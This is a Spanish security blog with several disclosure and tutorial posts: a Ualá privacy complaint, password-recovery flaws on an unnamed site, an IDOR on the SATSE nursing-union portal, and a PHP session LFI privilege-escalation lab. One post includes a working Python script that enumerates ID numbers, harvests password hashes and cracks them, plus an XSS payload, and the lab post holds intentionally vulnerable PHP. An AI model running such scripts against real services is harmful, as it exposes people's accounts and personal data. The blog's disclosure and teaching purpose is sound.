lunes, 11 de febrero de 2019

La privacidad de los argentinos y el uso de "bancos online".

(fig 1. Ualá. Fuente: Google).
Hace unos años, más precisamente un 3 de octubre del 2017, inició la posibilidad para nosotros, los argentinos, de poder utilizar tarjetas de crédito prepagas, dándole la posibilidad a cualquier persona de tener una tarjeta de crédito controlada, sin necesidad de contar con movimientos bancarios previos.






La mayoría pensaría que se trata de una entidad bancaria física que quiere adueñarse de nuestro dinero, y nuestra información. Esto es erróneo, ya que en realidad es una entidad online que quiere quedarse con nuestro dinero e información personal.

Las nuevas tecnologías nos facilitan la vida, aún más si se trata de IoT o cualquier accesibilidad a través de Internet, dándonos la posibilidad de realizar cualquier cosa, en cualquier lado. Por otro lado, cualquier tecnología en línea es vulnerable, y de eso se trata esta entrada.

Concretamente hablo de Ualá. Al ser una entidad bancaria, Ualá requiere datos reales para funcionar (¿dónde te llegaría la tarjeta plástica? ¿a nombre de quién?).

(fig 2. Aplicación Ualá para móviles android. Fuente: Google).
En la mayoría de los hackeos, el primer paso, casi obligatorio, es "information gathering", el proceso por el cual se obtiene información del objetivo a hackear. Hace tiempo, recuerdo haber leído una entrada de Chema Alonso en su blog, sobre como es posible cruzar información de varias redes sociales para poder dar con el número de teléfono de una persona (vamos, que si Facebook censura los últimos cuatro números, y Twitter los cuatro primeros... ¿Se entiende?).

Ahora, gracias a esta nueva moda de las tarjetas de crédito online, es posible conseguir más detalles sobre una victima. Si hay algún lector argentino, estará de acuerdo conmigo con que la aplicación móvil cuenta con una función para buscar amigos.

¿Recuerdan lo que mencioné, sobre que Ualá requiere datos reales para funcionar? ¿Qué información podemos obtener de una persona, sólo sabiendo su número de teléfono?
(fig. 3. Aplicación Ualá, función de buscar amigos (imagen recortada). Fuente: Nobody).
¿Es importante saber el nombre completo de la persona? En mi querido país, Argentina, hay varias formas posibles de obtener información de una persona, tan solo sabiendo su nombre completo. Varías páginas online permiten obtener esa información. Un poquito de information crossing, cruzando información obtenida por Facebook, logré obtener su domicilio, que no mostraré por razones de privacidad.

Ahora, un poquito de ética de mi parte...
(fig 3. Respuesta por parte de Ualá. Fuente: Nobody).
¿"Gracias por tus sugerencias"? Me suena a que no piensan repararlo, ya que "no es un fallo", ¿no?

 Línea de tiempo:
sáb. 12 de enero, 20:50 - Reporte enviado a Ualá.
mié. 23 de enero, 17:13 - Respuesta por parte de Ualá.

Happy hacking and don't be evil (maybe a little bit).
Nobody.

martes, 22 de enero de 2019

¿Cúantos fallos de seguridad puede tener la funcionalidad de recuperar contraseña?

Muy buenas a todos,

para hoy tenía pensado hacer un nuevo Post sobre Responsible Disclosure, pero como envié un correo electrónico y me ignoraron de una manera muy fuerte, lo que voy a hacer es explicar como funcionan las vulnerabilidades (sin decir donde se encuentran, quien quiera que lo busque) para ver si a alguien le puede servir para aprender algo nuevo.





Además del correo electrónico también envie un MD por twitter, donde también me ignoraron, así que voy a publicar toda la información.




Una vez visto esto ya podemos empezar, lo primero que tengo que decir es que solo mire el proceso de recuperar contraseñas, pero imagino que el resto de la web será del estilo, parece ser un sitio bonito donde jugar.

Vamos a ir paso por paso porque hay mucho que abarcar, así que vamos a comenzar desde el principio, lo primero que podemos ver es una pantalla donde nos pide que introduzcamos el DNI para empezar el flujo de modificar contraseñas.


En caso de introducir un DNI que exista en la base de datos te lleva al siguiente paso, y en caso de introducir un DNI no existente te mantiene en la misma pantalla. Aquí podemos encontrar el primer error de seguridad (aunque no sea grave). Es posible enumerar a través de los DNIs todos los usuarios registrados en la aplicación dependiendo de la respuesta, yo para esto me hice un script en python que comprobando el tamaño de la respuesta detectaba si el usuario existe o no en la base de datos (más tarde mostraré el script ya que después le añadí nuevas funcionalidades).


Una vez en este punto podemos ir al siguiente paso introduciendo algún DNI que nos arroje el script de python.


Podemos ver que la forma de recuperar la contraseña es la típica pregunta de seguridad, esto es algo que no se debería usar en ningún caso por los siguientes motivos:

  • Estás indicando a un posible atacante por donde tiene que empezar a buscar para poder evadir esta medida de seguridad. 
  • Suele ser información poco privada y fácil de conseguir.
  • Los usuarios no suelen recordar que pusieron esta información como pregunta de seguridad, por lo que preguntando (a diferencia de una contraseña), no es difícil de que te de esa información.
  • En caso de no tener una forma de bloquear los ataques de fuerza bruta es fácil buscar una lista de respuestas posibles a esa pregunta.

En mi caso, como no conozco al usuario en cuestión, vamos a optar por el último punto, así que buscaremos una lista de colores en Google y lanzaremos un ataque de fuerza bruta. De la misma forma que con los colores se puede hacer con nombres de mascota, con el nombre del padre, o con cualquier pregunta que nos encontremos.


Una vez en este punto ya podríamos modificarle la contraseña al usuario y entrar en su perfil sin ningún problema.

La cuestión de todo esto es que la cosa no acaba aquí, está funcionalidad, además de ser vulnerable a fuerza bruta, se puede byppasear, ¿cómo hacemos esto?

Es bastante simple, en el funcionamiento normal de la aplicación la respuesta a la pregunta se envía por parámetro, y si la respuesta no es correcta te devuelve un mensaje de error, sin embargo, si no se envía este parámetro toma la respuesta como válida y nos deja seguir.

¿Por qué ocurre esto? mi suposición al estar programada en PHP la aplicación web es que tienen el siguiente código.

  1. <?php
  2. $respuesta = $_POST['respuesta'];
  3. $respuesta_correcta = "Respuesta correcta";
  4. if (strcmp($respuesta, $respuesta_correcta) != 1 || strcmp($respuesta, $respuesta_correcta) != -1) {
  5.         // Respuesta incorrecta
  6. }
  7. else{
  8.         // Respuesta correcta
  9. }
  10. ?>
Vamos a ver que está pasando aquí, la función "strcmp" en php, tiene dos respuestas diferentes dependiendo de los datos introducidos:
  • En caso de que ambos strings sean iguales el resultado será 0.
  • En caso de que los strings no sean iguales el resultado será 1 o -1 dependiendo de cual sea mayor.
Por lo tanto en principio ese código será correcto, ya que está comprobando que los dos Strings sean diferentes, pero ¿qué pas si no envío el parametro?

Bueno, la función haría algo así: "strcmp(NULL, $respuesta_correcta)", en este caso el resultado sería 3 o -3, por lo que el código lo tomará como si la respuesta fuera correcta y veríamos lo siguiente.


En este punto podríamos cambiarle la contraseña a quien nosotros quisieramos teniendo solo el DNI, además de poder ver los DNIs que están registrados en la aplicación, aunque esto es una pena, porque la cosa no se queda aquí.

Si le echamos un vistazo rápido a la respuesta HTML del servidor tras esta petición vemos, que además de devolver el nombre de usuario, también nos devuelve el hash MD5 que está almacenado en la base de datos.


Aquí tenemos el nombre de usuario, el hash en MD5 y la longitud de la contraseña, que nos dice que son entre 4 y 8 caracteres, esto hace que sea mucho más sencillo crackearlas, podemos hacer una prueba en crackstation.


Con todo esto preparé un script en python que generaba DNIs de forma aleatoria, comprobaba que existieran y en caso de que existieran parseaba el usuario y el hash, crackeaba este hash a través de una base de datos online e imprimía toda esta información.

  
El script que preparé (se que es muy chustero) es este.

  1. #!/usr/bin/python
  2. # -*- coding: UTF-8 -*-
  3. import json
  4. from random import randint
  5. import requests
  6. import urllib3
  7. from html.parser import HTMLParser
  8. from bs4 import BeautifulSoup as BSoup
  9. import sys
  10. urllib3.disable_warnings()
  11. # Crackea un hash
  12. def decrypt(hash):
  13.         content = requests.get('https://md5.gromweb.com/?md5=' + hash)
  14.         soup = BSoup(content.text, "html.parser")
  15.         hashresult = soup.find('em', attrs={'class': 'long-content string'})
  16.         if hashresult:
  17.                 return hashresult.text
  18. # Parsea la respuesta y obtiene Hash
  19. class MyHTMLParser(HTMLParser):
  20.         def handle_starttag(self, tag, attrs):
  21.                 for attr in attrs:
  22.                         if attr[0] == "value":
  23.                                 if len(attr[1]) == 32:
  24.                                         hash1 = attr[1]
  25.                                         if decrypt(hash1):
  26.                                                 print "Password: " + decrypt(hash1)
  27.                                                 f.write(" - Password: " + decrypt(hash1))
  28.                                         else:
  29.                                                 print "Hash: " + attr[1]
  30.                                                 f.write(" - Hash: " + attr[1])
  31.                                 if len(attr[1]) != 32:
  32.                                         print "Usuario: " + attr[1]
  33.                                         f.write(" - Usuario: " + attr[1] + "\n")
  34. URL = "https://ws035.dominio.es"
  35. path = "/bolsa/http/olvidoclave3.php"
  36. header = {"Content-Type": "application/x-www-form-urlencoded"}
  37. usuarios = 0
  38. prueba = 1
  39. f = open("DNIs.txt", "a")
  40. # Pregunta cuantos usuarios se desean obtener
  41. numUsuarios = raw_input("¿Cuantos usuarios quieres sacar? ")
  42. if int(numUsuarios) == 1:
  43.         numeroDNI = raw_input("Introducir numero de DNI ")
  44. while usuarios < int(numUsuarios):
  45.         # Genera un DNI aleatorio
  46.         numero = randint(10000000, 99999999)
  47.         if int(numUsuarios) == 1:
  48.                 numero = int(numeroDNI)
  49.         intnumero = int(numero)
  50.         letra1 = "TRWAGMYFPDXBNJZSQVHLCKET"
  51.         resto = intnumero%23
  52.         letra = letra1[resto]
  53.         # Prepara la informacion que se enviara por el metodo POST
  54.         data = "documento=" + str(intnumero) + "&tipo_documento=+&letra=" + letra + "&test=test"
  55.         # Realiza la peticion
  56.         try:
  57.                 resp = requests.post(URL+path, data=data, verify=False, timeout=3, headers=header)
  58.                 tamano = int(resp.headers["Content-Length"])
  59.         except requests.exceptions.ReadTimeout:
  60.                 tamano = 7000
  61.         # Comprueba si existe o no el usuario
  62.         if tamano < 6000 and tamano > 5000:
  63.                 print "DNI encontrado: " + str(numero) + letra
  64.                 f.write("DNI encontrado: " + str(numero) + letra)
  65.                 parser = MyHTMLParser()
  66.                 parser.feed(resp.content)
  67.                 usuarios = usuarios + 1
  68.         else:
  69.                 print "Intento numero: " + str(prueba) + " - Usuarios encontrados: " + str(usuarios)
  70.                 prueba = prueba + 1
  71. f.close()

 Por último, y ya de verdad prometo que acabo, todos los parámetros eran vulnerables a XSS, el payload que usé fue este:

"><script>alert(document.domain)</script>


Ya hemos acabado por hoy, espero que os haya resultado interesante el post.

Saluti.

 Ia e perdio la cuenta de cuantas vulneravilidades tenia

==============================================

A raiz de este post se pusieron en contacto conmigo para arreglar las vulnerabilidades y disculparse por no responder en el primer reporte.

Actualmente la página se encuentra en reparación y no se puede acceder. Alegra que se hagan las cosas bien.



miércoles, 16 de enero de 2019

Responsible Disclosure - Cuidado enfermeritos

¿No os ha pasado nunca que algún familiar o amigo os enseña una página web y solo viendo la interfaz piensas que es un colador?

Bueno, a mi me ha pasado, hace unos días mi pareja, que es enfermera me pidió que le hiciera un favor, y para elló me pidió que entrase aquí: https://cursos.satse.es/

Para quien no lo sepa el SATSE es el sindicato de enfermería y aquí tienen una gran cantidad de información de todos los enfermeros de España, por lo que una brecha de seguridad sería un riesgo bastante alto. Vamos a empezar intentando ver que opina el sindicato de la seguridad y privacidad de sus enfermeros.


Lo que nos están diciendo aquí es que se toman bastante en serio su privacidad, y nos aseguran de alguna forma que el sitio es seguro, "supongo que habrán pasado alguna auditoría de seguridad".

Bueno, una vez visto me dispuse a echarle un vistazo rápido al sitio web a ver si esto era verdad. Mire varias cosas, si el panel de Login era vulnerable a fuerza bruta, algunos intentos de XSS, de SQLi y de CSRF, no más de 20 minutos (de momento). En principio lo que ví tenía buena pinta hasta que encontré lo siguiente.

Antes de nada aviso que la vulnerabilidad no es algo complejo tecnicamente hablando, el problema reside en la cantidad de información que se puede obtener de una forma tan simple.

La cuestión es que dentro de la plataforma de cursos del SATSE, había una sección donde tú podías ver los cursos a donde te habías inscrito, una vez en este panel podías seleccionar uno de los cursos donde te habías inscrito donde podías ver la información del curso junto a la información de tu perfil.

El problema en sí consiste en que el path para acceder a esta información era el siguiente:
https://cursos.satse.es/mis-inscripciones/miinscripcion/ID

El ID correspondía al ID de la inscripción, y la página web no comprobaba si el usuario que intentaba ver la inscripción era la propietaria, por lo tanto si modificabas este ID (numéricos consecutivos), podías ver la información de perfil de un usuario.


Una vez en este punto, solo bastaría automatizar las peticiones para tener toda esta información de cada uno de los usuarios que se hayan inscrito en algún curso:

- Nombre.
- Apellidos.
- Teléfono.
- Móvil.
- Email.
- NIF.
- Dirección.
- CP.
- Localidad.
- Provincia.

Una vez llegado a este punto tocaba reportar, así que contacte con administración para ver a donde me podía dirigir para solucionar el problema.


Al poco rato me contactaron dandome dos correos de las personas que estarían encagadas de arreglar esto, a donde les escribí como funcionaba el problema de seguridad, a lo que finalmente me respondieron comentando que ya lo habían arreglado.


A su favor tengo que decir que desde que contacte la primera vez, hasta que me respondieron diciendo que ya estaba arreglado pasaron alrededor de dos horas.

Saluti.

Da guhto sabe que ai cosa que funsionan vien.


martes, 15 de enero de 2019

¿Nobody? ¿Nocuerpo? Un nuevo escritor.



¡Hola!

Mi nombres es Agustín, aunque soy "más conocido" por mi alias, Nobody, y cariñosamente llamado Nocuerpo. A veces se me da por hablar en español ibérico, pero soy Argentino y hablo "español rioplatense".

Soy un hacker ético y amante de la seguridad informática, exstaff de Underc0de, y ahora, un nuevo contribuidor de WhateverSec.

Rolo y yo nos conocimos hace unos años en Underc0de, nos hicimos amigos, y ahora somos "hermanos virtuales". Hace tiempo que tenía ganas de escribir en un blog junto a él, y bueno, aquí estoy.

Espero que el contenido que yo redacte esté a la altura de este blog, y espero entretenerlos con mis bug bounties, mis responsible disclosures y mis historias ridículamente graciosas (como obtener un auto gratis gracias a un LFI).

Estaré agradecido si os pasáis por mi Twitter y dejáis un buen follow.
Haré un pelín más de spam, dejando el link completamente visible:
https://twitter.com/n0bodysec

Do svidaniya,
Nobody.

martes, 18 de diciembre de 2018

¿LFI en sesiones? Vamos a elevar privilegios

El otro día en el trabajo me pidieron que comprobara si era seguro añadir el directorio /var/lib/php5/sessions a la directiva open_basedir y como me pareció algo interesante pensé en escribir un poquito sobre esto.

Para saber si esto es seguro o no primero tenemos que tener claro que son estas dos cosas.

- El directorio /var/lib/php5/sessions es el directorio donde se guardan las sesiones de PHP.

- La directiva open_basedir indica en que directorios se podrán abrir ficheros con las funciones fopen(), include(), etc...

Normalmente esta directiva se usa para evitar ataques de tipo LFI, por lo que vamos a empezar a mirar por ahí a ver como podemos hackear.

Preparación del entorno

Vamos a empezar a preparar nuestro entorno, para ver que se podría hacer. Lo primero que vamos a necesitar es un panel de login sencillito 'login.php' (que nos permita crear sesiones).

  1. <?php
  2.         $user = $_POST['user'];
  3.         $password= $_POST['password'];
  4.         if($user == "usuario" && $password == "usuario"){
  5.                 session_start();
  6.                 $_SESSION["usuario"]=$user;
  7.                 $_SESSION["password"]=$password;
  8.                 $_SESSION["admin"]=0;
  9.                 header('Location: index.php');
  10.         }
  11. ?>
  12. <html>
  13. <head>
  14. <title>Login</title>
  15. </head>
  16. <body>
  17. <form action="login.php" method="POST">
  18. <p>Usuario:</p><input name="user">
  19. <p>Password:</p><input name="password">
  20. <button type="submit">Submit</button>
  21. </form>
  22. </body>
  23. </html>

Por otra parte tendremos la página vulnerable 'index.php', la cual tendrá dos vulnerabilidades diferentes, la primera nos permitirá leer ficheros y la segunda nos permitirá escribir en ficheros, además de esto tiene una parte de código que nos ayudará a identificar si somos administradores o no.

  1. <html>
  2. <head>
  3. <title>Inicio</title>
  4. </head>
  5. <body>
  6. <form action="index.php" method="GET">
  7. <p>URL: </p><input name="url">
  8. <p>Escribir[w]  leer[r]</p><input name="accion"></br>
  9. <textarea name="content" rows="4" cols="50">Introducir texto</textarea>
  10. <button type="submit">SUBMIT</button>
  11. </form>
  12. <?php
  13.         session_start();
  14.         if($_SESSION["admin"] == 1){
  15.                 echo '<h1>ADMINISTRADOR</h1>';
  16.         }
  17.         $accion = $_GET["accion"];
  18.         $pagina = $_GET["url"];
  19.         $content = $_GET["content"];
  20.         if ($accion == "r"){
  21.                 $file = fopen($pagina, "r");
  22.                 $content = fread($file, filesize($pagina));
  23.                 echo $content;
  24.                 fclose($file);
  25.         }else if($accion == "w"){
  26.                 $blacklist = array(".php", ".phtml", ".php3", ".php4" , ".html", "htaccess", "js");
  27.                 foreach ($blacklist as $item) {
  28.                         if(preg_match("/$item\$/i", $pagina)) {
  29.                                 echo '</h1>Extension de fichero no permitida</h1>';
  30.                                 exit;
  31.                         }
  32.                 }
  33.                 $file = fopen($pagina, "w");
  34.                 fwrite($file, $content);
  35.                 fclose($file);
  36.         }
  37. ?>
  38. </body>
  39. </html>

Ya que tenemos nuestro entorno preparado podemos empezar a hackear, así que lo primero que vamos a hacer es dirigirnos a 'login.php' y ahí vamos a introducir usuario y contraseña para que se nos genere un usuario  "usuario - usuario" en este caso.


Una vez que tenemos la sesión creada podemos acceder al sitio vulnerable 'index.php', aquí tenemos dos acciones disponibles, la primera es la de leer ficheros y la segunda es la de escribir ficheros, veamos que se podría hacer en cada uno de los casos.

Lectura de ficheros

En este caso, al contener el servidor de Apache la directiva open_basedir en un principio la explotación de esta vulnerabilidad, aunque sea posible, no es tan peligrosa como en otros casos, vemos que en caso de intentar leer ficheros que no esten dentro de la directiva como '/etc/passwd' no será posible y la página no nos mostrará nada.


Ahora intentemos leer el fichero de alguna sesión, un buen ejemplo sería la nuestra, las sesiones son ficheros con el formato sess_cookie, y están dentro del directorio que habíamos comentado /var/lib/php5/sessions, así que vamos a hacer la prueba con esto.


Aquí podríamos ver toda la información que tiene almacenada el servidor sobre nuestra sesión, en este caso como PoC hemos guardado usuario y contraseña, por lo que podríamos ver esta información sobre cualquier usuario que hubiera iniciado una sesión, si se guardara otra información sobre la sesión también podríamos verla sobre cualquier usuario.

Escritura de ficheros

Por otra parte también podemos escribir ficheros, sin embargo podemos ver que en el código hay una blacklist de extensiones, por lo que no podremos subir una shell (la blacklist de extensiones es muy vaga, seguramente falten extensiones, ya que esto es solo una prueba de concepto).

Además de esto, en la anterior imagen vemos que, en las sesiones guardaba un parámetro llamado "admin", lo que vamos a hacer ahora es modificar este valor de 0 a 1 escribiendo el fichero de nuestra sesión para que el servidor nos reconozca como un administrador y así elevar privilegios, además como las sesiones no tienen extensión esto no será detectado por la blacklist.


Como podemos ver con esto nos habríamos saltado la blacklist elevando privilegios y pudiendo acceder como administradores de la plataforma.

Yo he acabado por hoy, espero que os haya gustado la entrada.

Saluti.

cuidao con el deo poderoso